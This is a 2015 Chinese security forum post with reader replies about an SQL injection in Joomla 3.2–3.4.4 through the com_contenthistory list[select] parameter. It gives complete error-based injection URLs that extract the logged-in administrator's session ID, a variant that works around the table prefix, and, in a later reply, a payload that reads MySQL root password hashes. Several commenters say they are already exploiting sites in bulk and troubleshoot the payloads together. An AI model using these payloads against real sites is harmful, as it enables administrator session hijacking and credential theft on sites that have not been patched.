当前位置:WooYun(白帽子技术社区) >> php >> Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

Joomla 3.2 - 3.4.4 无限制SQL注入漏洞

0x0d (>_<'\/) | 2015-10-23 16:28

看到一个通杀 Joolma 3.2 到 3.4.4 版本的注入漏洞,可获得管理员权限,详细分析见此 Joomla SQL Injection Vulnerability Exploit Results in Full Administrative Access

注入点存在于 /administrator/components/com_contenthistory/models/history.php。原因是 populateState 函数没有对 list.select 进行过滤。

POC 如下:
GET index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM jml_session where userid=30 LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

其中 item_id 是文章的编号,type_id 是该文章对应的分类 id。userid 是管理员账户 id。
由下图可以看出文章编号直接可以在 URL 里找到,对应的 type_id 一般不会超过 20,所以暴力破解即可。
20151023-2@2x.png

而管理员用户 id 可以在 jml_user_usergroup_map 里找到:

image2.png

group_id 对应的角色:

image3.png

执行 POC 以后报错:
(报错原理可参考 lijiejie 的一篇文章:https://www.lijiejie.com/mysql-injection-error-based-duplicate-entry/)
20151023-1@2x.png

查看管理员的 session_id:

image5.png

此时 jml_session 表中的数据:

image6.png

注意报错注入出的 session_id 最后多了一个 1 。
Tips: 原文章中没有说明表前缀的处理方法,其实把 jml_ 换成 %23_ 即可(原文评论中有提到)。所以更通用的直接获取登录管理员 session_id 的 POC 为:
GET
index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM %23__session where userid=(select user_id from %23__user_usergroup_map where group_id=8 limit 1)  limit 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)


PS: 刚写完就看到 sebug 有人发了…… http://www.sebug.net/vuldb/ssvid-89680
PPS: 原文下有个老兄吐槽自己在 2013 年就发现了这个洞(其实是另一个注入点)

分享到:
  1. 1#
    回复此人 感谢
    园长 (喵~) | 2015-10-23 16:41

    刚看了sebug的文章

  2. 2#
    回复此人 感谢
    s3xy (相濡以沫,不如相忘于江湖) | 2015-10-23 16:53

    收藏

  3. 3#
    回复此人 感谢
    玉林嘎 | 2015-10-23 17:02

  4. 4#
    回复此人 感谢
    mtfly | 2015-10-23 17:29

    牛逼

  5. 5#
    回复此人 感谢
    动后河 (☭) | 2015-10-23 17:46

    目前全世界近3%的网站都在运行着Joomla。Joomla被全世界个人用户、中小商业用户和大型组织用来轻松创建各类网站和基于Web的应用。

  6. 6#
    回复此人 感谢
    xy小雨 (对方不在服务区) | 2015-10-23 19:26

    666 国内用的 比较少 国外的多

  7. 7#
    回复此人 感谢
    浮生 | 2015-10-23 20:01

    开始批量了 - -

  8. 8#
    回复此人 感谢
    老黑 | 2015-10-23 23:18

    @浮生 已经批量了

  9. 9#
    回复此人 感谢
    乐乐、 | 2015-10-24 00:19

    国内少得可怜啊~

  10. 10#
    回复此人 感谢
    老黑 | 2015-10-24 00:55

    GET
    index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=73&type_id=1&list[select]=(select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM %23__session where userid=(select user_id from %23__user_usergroup_map where group_id=8 limit 1)  limit 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)


    爆不出来吧 这句 我跑了好几个站  都没出来

  11. 11#
    回复此人 感谢
    老黑 | 2015-10-24 01:20

    爆SESSION的语句 容易出现

    Subquery returns more than 1 row SQL=SELECT (select 1 from (select count(*),concat((select(select concat(session_id))from hovdw_session limit 0,1),floor(rand(0)*2))x from information_schema.tables GROUP BY x)a),uc.name AS editor FROM `hovdw_ucm_history` AS h LEFT JOIN hovdw_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`

  12. 12#
    回复此人 感谢
    Sunshie (博客http://phpinfo.me 论坛 www.itgou.club) | 2015-10-24 07:50

    500 - Layout default not found

  13. 13#
    回复此人 感谢
    0x0d (>_<'\/) | 2015-10-24 09:17

    @Sunshie @老黑 前提条件是传入的 item_id 可以在Joomla_ucm_history表中查询到,否则会返回“500 - Layout default not found.”的提示。刚开始没说清楚,sorry。

  14. 14#
    回复此人 感谢
    老黑 | 2015-10-24 09:21

    @0x0d 好的 我测试去

  15. 15#
    回复此人 感谢
    Sicalpath (ด้้้้้็็็็็้้้้้็็็็ด้้้้) | 2015-10-24 09:36

    6666666

  16. 16#
    回复此人 感谢
    0x0d (>_<'\/) | 2015-10-24 09:48

    @Sunshie 又测试了下不存在管理员(group_id=8)的session时也会“500 - Layout default not found”,不过可以读点别的啦。。。 比如试试其他group_id,或者读users表里的密码,或者(运气好的话)读开了远程连接的 mysql 的 root 密码:
    index.php?option=com_contenthistory&view=history&item_id=73&list[ordering]=&type_id=1&list[select]=(exp(~(select * from(select password from mysql.user where user='root' and host='%')x)))

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录